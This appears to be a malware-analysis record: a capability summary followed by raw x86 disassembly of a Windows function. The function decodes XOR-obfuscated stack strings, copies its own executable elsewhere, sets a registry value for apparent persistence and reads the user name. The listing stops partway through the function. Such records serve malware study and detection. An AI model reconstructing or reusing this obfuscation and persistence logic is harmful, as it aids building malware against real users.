Function at 0x416240
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Create process on windows
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5038f3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x470
mov dword [ebp - 0x14], 0
xor ecx, ecx
push esi
push edi
mov dword [ebp - 0x2d], 0x9000329
mov dword [ebp - 0x29], 0xe2205
mov dword [ebp - 0x25], 0x1d0b1d
mov byte [ebp - 0x21], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0xb
jb 0x416296
lea ecx, [ebp - 0x2d]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4162b0
mov esi, closesocket
sub ecx, edx
mov edx, dword [0x533b44]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x417cf7
cmp dword [0x533b48], 0x10
mov eax, 0x533b34
push edx
cmovae eax, dword [0x533b34]
push eax
push ecx
lea eax, [ebp - 0x2d]
push eax
push ecx
push dword [ebp - 0x1b]
lea ecx, [ebp - 0x1ec]
call fcn.0046cf70
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x2e], 0x1a02162a
mov dword [ebp - 0x2a], 0x2042908
mov dword [ebp - 0x26], 0x40c0b03
mov word [ebp - 0x22], 0x100
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 0xc
jb 0x416320
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416338
sub ecx, edx
mov eax, esi
mov edx, dword [0x533b44]
sub eax, edx
cmp eax, ecx
jb 0x417cfc
cmp dword [0x533b48], 0x10
mov eax, 0x533b34
push edx
cmovae eax, dword [0x533b34]
push eax
push ecx
lea eax, [ebp - 0x2e]
push eax
push ecx
push dword [ebp - 0x1b]
lea ecx, [ebp - 0x27c]
call fcn.0046cf70
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x2b], 0x1832232c
mov dword [ebp - 0x27], 0x91f0b0d
mov word [ebp - 0x23], 0x1f
mov byte [ebp - 0x21], 1
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 9
jb 0x4163a0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x21], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4163b8
sub ecx, edx
mov eax, esi
mov edx, dword [0x533b44]
sub eax, edx
cmp eax, ecx
jb 0x417d01
cmp dword [0x533b48], 0x10
mov eax, 0x533b34
push edx
cmovae eax, dword [0x533b34]
push eax
push ecx
lea eax, [ebp - 0x2b]
push eax
push ecx
push dword [ebp - 0x1b]
lea ecx, [ebp - 0x15c]
call fcn.0046cf70
push 0x200
lea eax, [ebp - 0x480]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x480]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1c4], 0
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x1c0], 0
movups xmmword [ebp - 0x1d4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416451
sub ecx, edx
lea eax, [ebp - 0x480]
push ecx
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00402810
mov dword [ebp - 0x38], 0x1e
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x2e], 0x29242929
mov dword [ebp - 0x2a], 0x3c3b2b25
mov dword [ebp - 0x26], 0x313b2f29
mov word [ebp - 0x22], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 0xc
jb 0x416495
lea eax, [ebp - 0x2e]
mov byte [ebp - 0x21], 0
push eax
call fcn.004eb101
mov edx, eax
add esp, 4
test edx, edx
je 0x416993
mov ecx, edx
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x5c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4164d7
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x5c]
call fcn.00402810
lea eax, [ebp - 0x13]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x5c]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
call fcn.004652c0
cmp dword [ebp - 0x1d8], 0x10
lea ecx, [ebp - 0x1ec]
mov edx, dword [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x48]
mov edi, dword [ebp - 0x1dc]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x416558
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x5c]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x5c]
mov dword [ebp - 0x4c], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x416568
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x5c]
push dword [ebp - 0x14]
push edi
call fcn.0046b360
cmp dword [ebp - 0x48], 0x10
lea esi, [ebp - 0x5c]
push 0x536230
cmovae esi, dword [ebp - 0x5c]
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x417d06
test esi, esi
je 0x4165d1
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416591
sub ecx, edx
je 0x4165d1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4165c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4165c2
cmp eax, 0x20
je 0x4165c2
cmp eax, 0x45
je 0x4165c2
cmp eax, 0x24
jne 0x4165d1
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x4165ee
push 0x536230
call fcn.004dba03
add esp, 4
lea ecx, [ebp - 0x5c]
call fcn.00415c80
test al, al
je 0x41695b
mov dword [ebp - 0x1d], 0xd1f034b
xor ecx, ecx
mov word [ebp - 0x19], 0x100
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 4
jb 0x416600
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x18], 0
mov word [ebp - 0x13], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x11], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416622
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x4c]
sub eax, edx
cmp eax, ecx
jb 0x417d0c
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push ecx
cmovae eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1b]
lea ecx, [ebp - 0xa4]
call fcn.0046cf70
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1ec]
cmp dword [ebp - 0x1d8], 0x10
mov esi, dword [ebp - 0x90]
mov eax, esi
cmovae ecx, dword [ebp - 0x1ec]
mov edi, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x94]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4166c3
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0xa4]
cmovae eax, dword [ebp - 0xa4]
lea esi, [eax + edx]
push esi
call fcn.004de150
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0xa4]
jmp 0x4166d6
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0xa4]
push dword [ebp - 0x38]
push edi
call fcn.0046b360
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x1d]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x8c]
call fcn.004652c0
mov dword [ebp - 0x64], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x60], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x38], 0xfe
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x64], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x41679f
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416795
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d11
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x4167f2
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4167e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d11
push ecx
push edx
call fcn.004dc6f1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x94], 0
lea eax, [ebp - 0x74]
mov dword [ebp - 0x90], 0xf
mov ecx, esp
mov byte [ebp - 0xa4], 0
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
jne 0x416923
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
push 0
cmovae ecx, dword [ebp - 0x74]
lea eax, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1d4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x416923
movaps xmm0, xmmword [0x525950]
xor ecx, ecx
movups xmmword [ebp - 0x10b], xmm0
mov dword [ebp - 0xeb], 0xedd1f2eb
movaps xmm0, xmmword [0x5263d0]
movups xmmword [ebp - 0xfb], xmm0
mov dword [ebp - 0xe7], 0xe3e2f9fb
mov dword [ebp - 0xe3], 0xe5ddd2e3
mov word [ebp - 0xdf], 0xff
mov byte [ebp - 0xdd], 1
nop dword [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x10b], al
inc ecx
cmp ecx, 0x2d
jb 0x4168b0
lea eax, [ebp - 0x14]
mov byte [ebp - 0xdd], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x10b]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x416923
push dword [ebp - 0x64]
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
lea eax, [ebp - 0x1ec]
cmovae ecx, dword [ebp - 0x74]
cmp dword [ebp - 0x1d8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1ec]
push 1
push 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x41695b
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416951
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d16
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x416993
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416989
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d1b
push ecx
push edx
call fcn.004dc6f1
add esp, 8
movaps xmm0, xmmword [str._:_9___68_6]
xor ecx, ecx
movups xmmword [ebp - 0x31], xmm0
mov byte [ebp - 0x21], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 0xf
jb 0x4169a4
lea eax, [ebp - 0x31]
mov byte [ebp - 0x21], 0
push eax
call fcn.004eb101
mov edx, eax
add esp, 4
test edx, edx
je 0x417be3
mov ecx, edx
mov dword [ebp - 0xac], 0
xorps xmm0, xmm0
mov dword [ebp - 0xa8], 0
movups xmmword [ebp - 0xbc], xmm0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4169f0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xbc]
call fcn.00402810
lea eax, [ebp - 0x13]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0xbc]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
call fcn.004652c0
cmp dword [ebp - 0x148], 0x10
lea ecx, [ebp - 0x15c]
mov edx, dword [ebp - 0xac]
cmovae ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0xa8]
mov edi, dword [ebp - 0x14c]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x416a88
cmp dword [ebp - 0xa8], 0x10
lea esi, [ebp - 0xbc]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xbc]
mov dword [ebp - 0xac], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov eax, dword [ebp - 0x14]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
jmp 0x416aa1
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xbc]
push dword [ebp - 0x14]
push edi
call fcn.0046b360
mov edi, dword [ebp - 0x14c]
cmp dword [ebp - 0xa8], 0x10
lea esi, [ebp - 0xbc]
push 0x536230
cmovae esi, dword [ebp - 0xbc]
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x417d20
test esi, esi
je 0x416b16
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416ad3
sub ecx, edx
je 0x416b16
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x416b04
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x416b04
cmp eax, 0x20
je 0x416b04
cmp eax, 0x45
je 0x416b04
cmp eax, 0x24
jne 0x416b16
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x416b99
push 0x536230
call fcn.004dba03
add esp, 4
mov dword [ebp - 0x1ac], 0
cmp dword [ebp - 0xa8], 0x10
lea edx, [ebp - 0xbc]
xorps xmm0, xmm0
mov dword [ebp - 0x1a8], 0
cmovae edx, dword [ebp - 0xbc]
mov ecx, edx
movups xmmword [ebp - 0x1bc], xmm0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416b60
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1bc]
call fcn.00402810
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1bc]
mov eax, dword [ebp - 0x38]
or eax, 1
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], eax
call fcn.00415c80
mov byte [ebp - 0x39], 0
test al, al
je 0x416b9d
mov byte [ebp - 0x39], 1
mov dword [ebp - 4], 0xa
test byte [ebp - 0x38], 1
je 0x416be4
mov ecx, dword [ebp - 0x1a8]
cmp ecx, 0x10
jb 0x416be4
mov edx, dword [ebp - 0x1bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416bda
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d26
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp byte [ebp - 0x39], 0
je 0x417ba9
mov dword [ebp - 0x1d], 0xd1f034b
xor ecx, ecx
mov word [ebp - 0x19], 0x100
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 4
jb 0x416c00
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x18], 0
mov word [ebp - 0x13], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x11], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416c22
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xac]
sub eax, edx
cmp eax, ecx
jb 0x417d2b
cmp dword [ebp - 0xa8], 0x10
lea eax, [ebp - 0xbc]
push ecx
cmovae eax, dword [ebp - 0xbc]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1b]
lea ecx, [ebp - 0xa4]
call fcn.0046cf70
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov edx, dword [ebp - 0x94]
cmovae ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x90]
sub eax, edx
mov dword [ebp - 0x38], edx
push edi
push ecx
cmp edi, eax
ja 0x416cd4
cmp dword [ebp - 0x90], 0x10
lea esi, [ebp - 0xa4]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xa4]
mov dword [ebp - 0x94], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov ecx, dword [ebp - 0x38]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xa4]
jmp 0x416ced
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0xa4]
push dword [ebp - 0x38]
push edi
call fcn.0046b360
mov edi, dword [ebp - 0x14c]
mov dword [ebp - 0x1f4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x204], xmm0
mov dword [ebp - 0x1f0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x204], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x1d]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x204]
call fcn.004652c0
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x1f0]
cmp ecx, 0x10
jb 0x416dbb
mov edx, dword [ebp - 0x204]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416db1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d30
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0xf
mov byte [ebp - 0x204], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x416e14
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416e0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d30
push ecx
push edx
call fcn.004dc6f1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x94], 0
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x90], 0xf
mov ecx, esp
mov byte [ebp - 0xa4], 0
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
jne 0x417b1b
cmp dword [ebp - 0x48], 0x10
lea ecx, [ebp - 0x5c]
push 0
cmovae ecx, dword [ebp - 0x5c]
lea eax, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1d4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x417b1b
push 0x104
lea eax, [ebp - 0x388]
mov dword [ebp - 0x14], 0x104
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x388]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x525ea0]
xor ecx, ecx
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xcc], 0x581b045a
mov dword [ebp - 0xc8], 0x343c3331
mov dword [ebp - 0xc4], 0x2b2d38
mov byte [ebp - 0xc0], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xdc], al
inc ecx
cmp ecx, 0x1b
jb 0x416ee1
mov byte [ebp - 0xc0], 0
xor ecx, ecx
mov dword [ebp - 0x42], 0x1c484647
mov dword [ebp - 0x3e], 0x494a07
mov byte [ebp - 0x3a], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 7
jb 0x416f10
mov byte [ebp - 0x3a], 0
xor ecx, ecx
mov dword [ebp - 0x20], 0x1c484647
mov dword [ebp - 0x1c], 0x494a1b
mov byte [ebp - 0x18], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 7
jb 0x416f36
xorps xmm0, xmm0
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x194], 0
movups xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x190], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416f70
sub ecx, edx
lea eax, [ebp - 0x388]
push ecx
push eax
lea ecx, [ebp - 0x1a4]
call fcn.00402810
mov byte [ebp - 4], 0x11
xor ecx, ecx
movaps xmm0, xmmword [0x525390]
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x134], 0x58115955
mov dword [ebp - 0x130], 0x5c2e2856
mov word [ebp - 0x12c], 0x5f
mov byte [ebp - 0x12a], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x144], al
inc ecx
cmp ecx, 0x19
jb 0x416fc4
lea eax, [ebp - 0x1a4]
mov byte [ebp - 0x12a], 0
push eax
lea edx, [ebp - 0x144]
lea ecx, [ebp - 0x128]
call fcn.00469420
add esp, 4
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.004652c0
mov dword [ebp - 0x17c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x17c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x5c]
cmp dword [ebp - 0x48], 0x10
mov ecx, dword [ebp - 0x4c]
cmovae edx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x178]
sub eax, esi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], esi
push ecx
push edx
cmp ecx, eax
ja 0x4170b7
cmp dword [ebp - 0x178], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x17c], eax
lea esi, [ebp - 0x18c]
cmovae esi, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x38]
add eax, esi
push eax
call fcn.004de150
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov ecx, dword [ebp - 0x38]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x18c]
jmp 0x4170ca
mov byte [ebp - 0x1b], 0
push dword [ebp - 0x1b]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.0046b360
mov dword [ebp - 0x224], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x234], xmm0
mov dword [ebp - 0x220], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x234], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x224], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x42]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x234]
call fcn.004652c0
mov dword [ebp - 0x164], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x174], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x164], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
mov ecx, dword [ebp - 0x164]
cmovae edx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x160]
sub eax, ecx
mov dword [ebp - 0x1c], ecx
push edi
push edx
cmp edi, eax
ja 0x4171d3
cmp dword [ebp - 0x160], 0x10
lea esi, [ebp - 0x174]
lea eax, [edi + ecx]
cmovae esi, dword [ebp - 0x174]
mov dword [ebp - 0x164], eax
lea eax, [esi + ecx]
push eax
call fcn.004de150
mov ecx, dword [ebp - 0x1c]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x174]
jmp 0x4171ec
mov byte [ebp - 0x1b], 0
lea ecx, [ebp - 0x174]
push dword [ebp - 0x1b]
push edi
call fcn.0046b360
mov edi, dword [ebp - 0x14c]
mov dword [ebp - 0x20c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x21c], xmm0
mov dword [ebp - 0x208], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x21c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x20c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x21c]
call fcn.004652c0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x208]
cmp ecx, 0x10
jb 0x4172ae
mov edx, dword [ebp - 0x21c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4172a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d35
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xf
mov byte [ebp - 0x21c], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x417307
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4172fd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d35
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x220]
cmp ecx, 0x10
jb 0x417360
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417356
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d35
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x4173b9
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4173af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d35
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x417412
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417408
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
